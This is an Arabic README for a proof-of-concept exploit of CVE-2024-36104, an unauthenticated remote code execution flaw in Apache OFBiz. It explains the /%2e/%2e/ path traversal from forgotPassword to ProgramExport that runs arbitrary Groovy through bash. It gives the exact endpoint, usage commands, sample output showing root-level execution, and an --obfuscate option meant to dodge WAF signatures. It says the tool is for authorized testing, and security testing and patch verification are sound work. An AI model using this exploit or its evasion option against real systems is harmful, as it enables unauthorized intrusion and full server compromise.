
PoC لـ CVE-2024-36104 — RCE عبر Groovy دون مصادقة في Apache OFBiz (<18.12.14) من خلال /%2e/%2e/ اجتياز مسار العرض إلى ProgramExport
إثبات المفهوم لـ CVE-2024-36104، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في Apache OFBiz قبل الإصدار 18.12.14.
يقوم ControlServlet في OFBiz بتحديد عرض غير مصادَق (forgotPassword) قبل توحيد مسار الطلب. تؤدي إضافة /%2e/%2e/ إلى عودة المسار إلى /webtools/control/، لذلك يصل الطلب إلى عرض ProgramExport دون المرور عبر فحص الأمان/الأذونات المرتبط بالعرض الأصلي. ينفّذ ProgramExport بعد ذلك كود Groovy تعسفيًا، مما يتيح تنفيذ أوامر عن بُعد دون مصادقة.
يغلّف البرنامج النصي الأمر في مقتطف Groovy يشغّله عبر /usr/bin/bash -lc، ويرسل هذا المقتطف إلى نقطة النهاية المعرضة للخطر، ويستخرج المخرجات من استثناء java.lang.Exception الذي يعيده OFBiz في استجابة HTML.
/%2e/%2e/ من forgotPassword إلى ProgramExport.groovyProgram إلى نقطة النهاية المعرضة للخطر.Python 3.8+
pip install -r requirements.txt
حزم Python المطلوبة:
requests
urllib3
القيم الموضوعة بين قوسين زاوية هي عناصر نائبة. استبدلها بقيمك الخاصة ولا تُدرج حرفي < أو >.
python3 cve_2024_36104.py \
--target <TARGET_URL> \
--command <COMMAND>
<TARGET_URL> # Target base URL. Example: https://10.129.231.23
<COMMAND> # Command that Bash will interpret. Example: id
python3 cve_2024_36104.py \
--target https://10.129.231.23 \
--command "id"
مثال على المخرجات:
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes
[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
-H, --host-header <HOST>
Value of the Host header. Default: localhost
--prefix-view <VIEW>
Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword
--target-view <VIEW>
View reached after the traversal. Default: ProgramExport
--endpoint <PATH>
Full custom endpoint path, overrides --prefix-view/--target-view.
--timeout <SECONDS>
Maximum HTTP request time. Default: 15
--obfuscate
Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
encoding used in public write-ups to dodge naive WAF signatures.
--show-payload
Print the generated Groovy code before sending it.
--show-response
Print the full HTML response.
--only-final
Hide progress logs and print only the command output.
--no-color
Disable ANSI colors.
--debug
Enable extra diagnostic logging.
502، فمن المحتمل أن الواجهة الخلفية لم تنهِ العمل قبل انتهاء مهلة الوكيل؛ وقد يظل الأمر مكتملًا على جانب الخادم.--show-response لفحص HTML الخام عندما يفشل الاستخراج التلقائي.إثبات المفهوم هذا مخصص لـ اختبار الأمان المصرح به، والبيئات المختبرية، والتحقق من الثغرات الأمنية. لا تستخدمه ضد أنظمة دون إذن صريح.